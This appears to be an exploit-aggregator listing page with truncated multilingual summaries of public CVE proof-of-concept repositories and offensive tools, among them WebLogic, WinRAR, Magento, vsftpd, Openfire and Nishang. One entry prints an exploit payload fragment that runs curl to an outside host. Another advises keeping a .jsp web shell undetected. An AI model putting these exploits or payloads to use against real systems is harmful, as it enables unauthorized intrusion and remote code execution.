CVE-2014-6271

Shellshock Vulnerability Checker Ce script vérifie si un site web est vulnérable à la vulnérabilité Shellshock CVE-2014-6271. Résumé : La vulnérabilité Shellshock, également connue sous le nom de Bashdoor, est une faille de sécurité découverte en septembre 2014 dans le shell Bash d'Unix. La...

CVE-2024-9593

CVE-2024-9593 Time Clock = 1.2.2 & Time Clock Pro = 1.1.4 - Exécution de code à distance limitée non authentifiée Description : Les plugins Time Clock et Time Clock Pro pour WordPress sont vulnérables à l'exécution de code à distance dans les versions jusqu'à 1.2.2 pour Time Clock et 1.1.4 pour...

CVE-2023-38831

CVE-2023-38831 エクスプロイト - ベイト＆スイッチアーカイブジェネレータ 概要 このPythonスクリプトは、「ベイト＆スイッチ」アーカイブファイルを生成するために設計されています。教育および倫理的なハッキング目的のみに使用してください。このスクリプトを使用する前に、必要な許可を取得してください。 「ベイト＆スイッチ」...

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend TL;DR Йоу, в этой лабораторной работе LetsDefend я разобрал zero-day уязвимость SharePoint под названием ToolShell CVE-2025-53770. По сути, я воспроизвёл реальную атаку, в ходе которой вредоносный POST-запрос обошёл аутентификацию, запуст...

Jump-over-ASLR-BTB

Предсказатели ветвлений и ASLR Автор: Byte Reaper Описание Этот репозиторий содержит исследовательскую реализацию на C, демонстрирующую концепции, связанные с предсказателями ветвлений, спекулятивным выполнением и кэш-ориентированными побочными каналами в контексте рандомизации распределения...

Magento-eCommerce-RCE-CVE-2015-1397

Exploit Magento Shoplift SUPEE-5344 - CVE-2015-1397 Présentation Ce script exploite la vulnérabilité CVE-2015-1397 dans Magento, communément appelée exploit Magento Shoplift. Il permet à un attaquant de créer un nouvel utilisateur administrateur dans la base de données Magento en injectant des...

CVE-2020-2551

CVE-2020-2551 Weblogic IIOP 역직렬화 테스트 환경 Weblogic10.3.6+jdk1.6 패키징된 jar 파일 추출 코드：a6ob 취약점 악용 jar 파일을 다운로드한 후 marshalsec을 사용하여 악성 RMI 서비스를 시작하고 로컬에서 exp.java를 컴파일합니다. root@kitploit: package payload; import java.io.IOException; public class exp public exp String cmd = "curl http://172.16.1.1/success...

CVE-2021-44228---detection-with-PowerShell

Обнаружение CVE-2021-44228 с помощью PowerShell 1 Откройте automatedscan.ps1, установите переменные $ResultsCSV и $Directory 2 Сохраните и закройте файл 3 Откройте PowerShell от имени администратора и выполните следующую команду: powershell.exe -noprofile -executionpolicy bypass -file...

Explotacion-CVE-2023-32315-Openfire

🔍 CVE-2023-32315 설명: CVE-2023-32315 취약점은 Openfire 서버에 영향을 미치며, 공격자가 유효한 자격 증명 없이 웹 관리 패널의 로그인을 우회할 수 있게 합니다. 이 익스플로잇은 관리자 사용자를 추가하여 공격자가 악성 플러그인을 업로드하고 웹 셸을 획득할 수 있게 합니다. ⚙️ 작동 방식 CVE-2023-32315는 Openfire의 취약점으로, 초기 설정 마법사의 JSP/setup/setup-s/...에 설정이 완료된 후에도 접근할 수 있게 합니다. 리터럴 문자 대신...

CVE-2025-24893

PoC для CVE-2025-24893 — Удалённое выполнение кода в XWiki Безопасный PoC PoC для CVE-2025-24893: Эксплойт удалённого выполнения кода в XWiki для версий до 15.10.11 , 16.4.1 и 16.5.0RC1. ⚠️ ВАЖНО — ТОЛЬКО АВТОРИЗОВАННОЕ ТЕСТИРОВАНИЕ Этот репозиторий содержит доказательство концепции PoC,...

CVE-2011-2523

CVE-2011-2523 - Эксплойт бэкдора vsftpd 2.3.4 Это скрипт эксплойта на Python для печально известного бэкдора, обнаруженного в vsftpd версии 2.3.4. При срабатывании открывает оболочку на порту 6200 — предоставляя удаленное выполнение команд от пользователя root в некоторых уязвимых конфигурациях. ...

Zimbra-CVE-2022-30333

Zimbra-CVE-2022-30333 Vulnérabilité Zimbra unrar. Il existe déjà des POC disponibles, il est sûr de publier notre POC. CVE-2022-30333 Vulnérabilité Zimbra UNRAR. Unrar jusqu'à la version 6.11 est vulnérable. Assurez-vous que votre shell .jsp n'est pas détecté. Cet exploit fonctionnera sur Zimbra...

CVE-2025-8088-Exploit

CVE-2025-8088 Эксплойт WinRAR 🔓 Эксплойт proof-of-concept для уязвимости WinRAR CVE-2025-8088, затрагивающей версии 7.12 и ниже. Этот инструмент создаёт вредоносный RAR-архив, который внедряет полезную нагрузку в альтернативные потоки данных ADS с обходом пути path traversal, что потенциально мож...

CVE-2022-21445-for-12.2.1.3.0-Weblogic

Обзор CVE-2022-21445 оценка CVSS 9,8 — это уязвимость, связанная с ненадёжной десериализацией данных, обнаруженная в компоненте ADF Faces, которая может быть удалённо эксплуатирована злоумышленниками без аутентификации pre-authentication для выполнения RCE. Уязвимость была обнаружена двумя...

LFI-to-RCE-SE-Suite-2.0

Удалённое выполнение кода в SoftExpert Excellence Suite 2.0 - CVE-2023-30330 Аутентифицированное локальное включение файла, приводящее к удалённому выполнению кода в SoftExpert Excellence Suite EQM. CVE-2023-30330 Версии SE Suite 2.x до 2.1.3 Протестировано на версиях: 2.0.15.31 и 2.0.15.115 LFI...

CVE-2024-21006_PoC

CVE-2024-21006 PoC La CVE-2024-21006 est une vulnérabilité critique d'exécution de code à distance RCE affectant Oracle WebLogic Server. La faille est liée à l'utilisation non sécurisée du protocole IIOP Internet Inter-ORB Protocol et de JNDI Java Naming and Directory Interface, permettant à un...

CVE-2022-29078

CVE-2022-29078 | EJS SSTI → RCE École White Hat, 4e promotion classe 32 - Woo Sang-beom @taka3636 Résumé La vulnérabilité d'injection de modèles côté serveur SSTI dans EJS , comme Hello , pour générer des pages dynamiques. En interne, EJS compile les chaînes de template en fonctions JavaScript pu...

CVE-2024-6529

Preuve de Concept PoC pour les vulnérabilités dans les plugins WordPress Ce dépôt contient des scripts de Preuve de Concept PoC pour diverses vulnérabilités découvertes dans différents plugins WordPress. Ces scripts montrent comment les attaquants peuvent exploiter ces vulnérabilités pour effectu...

CVE-2023-4220

Эксплойт-Proof of Concept для CVE-2023-4220 Затронутый продукт : Chamilo = 1.11.24 Эта CVE использует неаутентифицированную уязвимость загрузки файлов в Chamilo 1.11.24 и ниже. Злоумышленник может загружать PHP-файлы без каких-либо ограничений, что приводит к RCE. Как использовать root@kitploit:...

nishang

Nishang Nishang est un framework et une collection de scripts et de payloads qui permet d'utiliser PowerShell pour la sécurité offensive, les tests de pénétration et le red teaming. Nishang est utile pendant toutes les phases des tests de pénétration. Par Nikhil Mittal Fondateur de Altered Securi...